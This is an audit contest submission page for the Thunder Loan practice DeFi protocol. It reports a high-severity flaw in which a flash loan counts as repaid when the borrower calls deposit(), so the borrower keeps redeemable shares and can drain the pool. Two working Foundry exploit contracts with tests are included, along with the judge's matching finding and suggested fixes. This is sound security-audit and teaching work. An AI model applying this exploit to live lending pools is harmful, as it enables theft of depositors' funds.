Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

Flash loan can be "repaid" via `deposit()`, letting the borrower keep the principal as redeemable AssetTokens and drain the pool

Summary

ThunderLoan.flashloan() verifies repayment by checking only that the AssetToken contract's underlying balance at the end of the call is at least startingBalance + fee. However, deposit() sends underlying to the same AssetToken contract while minting the depositor fresh, fully redeemable AssetTokens. A borrower can therefore satisfy the repayment check inside executeOperation by calling deposit() instead of repay(): the borrowed principal flows back into the pool (so the balance check passes), but the borrower walks away holding AssetTokens worth the entire loan amount, which they redeem afterwards. The pool's liquidity is stolen while its books show a perfectly repaid loan.

Vulnerability Details

In src/protocol/ThunderLoan.sol:

// flashloan(), lines 182 & 212-215 — the ONLY repayment check is a balance comparison
uint256 startingBalance = IERC20(token).balanceOf(address(assetToken));
...
uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}
​
// deposit(), lines 151 & 156 — funds land in the same AssetToken contract,
// but the depositor receives redeemable shares for them
assetToken.mint(msg.sender, mintAmount);
...
token.safeTransferFrom(msg.sender, address(assetToken), amount);

The check cannot distinguish "money returned to the LPs" (repay()) from "money deposited in exchange for a personal claim on the pool" (deposit()). The borrower only needs to top up the 0.3% fee out of pocket; the principal itself round-trips through deposit() and comes back out via redeem().

The same flaw exists in ThunderLoanUpgraded, whose deposit() keeps the identical mint-and-transfer structure (only the exchange-rate update was removed).

Impact

The maximum loss is the entire liquidity of the pool: the loan amount is only bounded by amount <= startingBalance, so one flash loan drains everything. Verified in the PoC: an LP deposits 100e18; the attacker borrows 100e18, "repays" via deposit(), then redeems and ends with 100,999,999,999,999,999,999 wei (their 1e18 of seed money plus the LP's full 100e18 principal, minus 1 wei of dust left in the pool). The LP's subsequent full redemption reverts — their shares are unbacked.

Proof of Concept

Foundry test (passes locally with forge test):

contract DepositRepayReceiver {
ThunderLoan public thunderLoan;
​
constructor(address _thunderLoan) {
thunderLoan = ThunderLoan(_thunderLoan);
}
​
function executeOperation(address token, uint256 amount, uint256 fee, address, bytes calldata)
external returns (bool)
{
// Instead of repay(): deposit the borrowed funds (+ fee out of pocket).
IERC20(token).approve(address(thunderLoan), amount + fee);
thunderLoan.deposit(IERC20(token), amount + fee);
return true;
}
​
function redeemAmount(IERC20 token, uint256 amountOfAssetToken) external {
thunderLoan.redeem(token, amountOfAssetToken);
}
}
​
function test_depositInsteadOfRepayStealsPrincipal() public {
// setUp: LP deposited 100e18 tokenA; exchange rate already 1.003e18 (see finding #2)
DepositRepayReceiver receiver = new DepositRepayReceiver(address(thunderLoan));
tokenA.mint(address(receiver), 1e18); // attacker's own money: fee top-up only
​
uint256 fee = thunderLoan.getCalculatedFee(tokenA, LP_DEPOSIT);
assertEq(fee, 3e17); // 0.3% of 100
​
thunderLoan.flashloan(address(receiver), tokenA, LP_DEPOSIT, "");
​
// Loan counts as repaid...
assertEq(tokenA.balanceOf(address(assetToken)), LP_DEPOSIT + fee);
// ...but the attacker holds freshly minted shares for amount + fee
assertEq(assetToken.balanceOf(address(receiver)), 99700897308075772681);
​
// Drain the pool by redeeming
uint256 rate = assetToken.getExchangeRate();
uint256 maxRedeemableShares = (tokenA.balanceOf(address(assetToken)) * 1e18) / rate;
receiver.redeemAmount(tokenA, maxRedeemableShares);
​
assertEq(tokenA.balanceOf(address(receiver)), 100999999999999999999); // ~101e18
assertEq(tokenA.balanceOf(address(assetToken)), 1); // 1 wei of dust left
​
// The LP can no longer exit
vm.prank(lp);
vm.expectRevert();
thunderLoan.redeem(tokenA, type(uint256).max);
}

Recommended Mitigation

Do not let deposit() satisfy a flash loan repayment. Options: (1) block deposit() (and redeem()) while s_currentlyFlashLoaning[token] is true; (2) track repayment explicitly — e.g. require the ending balance check to exclude amounts deposited during the loan, or route all repayment through repay() by snapshotting the AssetToken total supply and requiring it to be unchanged at the end of flashloan().

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!